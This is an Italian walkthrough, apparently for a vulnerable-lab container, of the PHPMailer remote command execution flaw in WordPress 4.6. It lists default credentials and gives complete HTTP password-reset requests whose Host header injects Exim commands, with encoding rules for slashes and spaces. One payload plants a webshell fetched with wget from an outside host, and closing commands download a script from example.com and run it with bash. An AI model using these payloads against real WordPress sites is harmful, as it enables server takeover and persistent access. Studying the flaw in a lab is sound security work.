
WordPress è una piattaforma di blogging sviluppata in PHP che consente agli utenti di creare il proprio sito web su server che supportano PHP e database MySQL. WordPress può anche essere utilizzato come sistema di gestione dei contenuti (CMS). WordPress usa il componente PHPMailer per inviare email agli utenti. PHPMailer (versioni < 5.2.18) presenta una vulnerabilità di esecuzione di comandi da remoto: un attaccante deve solo costruire abilmente un indirizzo email malevolo per scrivere file arbitrari, causando esecuzione di comandi remota.
WordPress <= 4.6
| Tipo | Nome utente | Password |
|---|---|---|
| Mysql | root | root |
| /wp-admin/ | admin | admin123 |
$ docker pull medicean/vulapps:w_wordpress_6
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
Il
8000prima di-p 8000:80rappresenta la porta della macchina fisica e può essere specificato liberamente.
Visita http://127.0.0.1:8000: se vedi la home page di WordPress, l'avvio è riuscito.
Supponiamo che l'indirizzo di destinazione sia: http://127.0.0.1:8000/
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
Se vedi il codice di stato 200, il file /var/www/html/vuln è stato creato con successo.
Puoi visitare l'indirizzo prima di inviare la richiesta: comparirà un 404.
Idea: creare un file di testo su un server HTTP remoto e scaricarlo sulla macchina di destinazione tramite wget.
Se puoi già eseguire comandi, che bisogno c'è di caricare una WebShell?
/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php
Nota:
- L'URL remoto non deve contenere
http://- Tutte le lettere devono essere minuscole
- Tutte le
/vanno sostituite con${substr{0}{1}{$spool_directory}}- Tutti gli spazi vanno sostituiti con
${substr{10}{1}{$tod_log}}
Il messaggio è il seguente (sostituisci user_login in base alla situazione reale; il default è admin):
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
Se il contenuto del file di testo remoto è uno script bash, dopo averlo scaricato sul target puoi eseguirlo direttamente con /bin/bash.
/usr/bin/wget --output-document /tmp/rce example.com/1.txt
/bin/bash /tmp/rce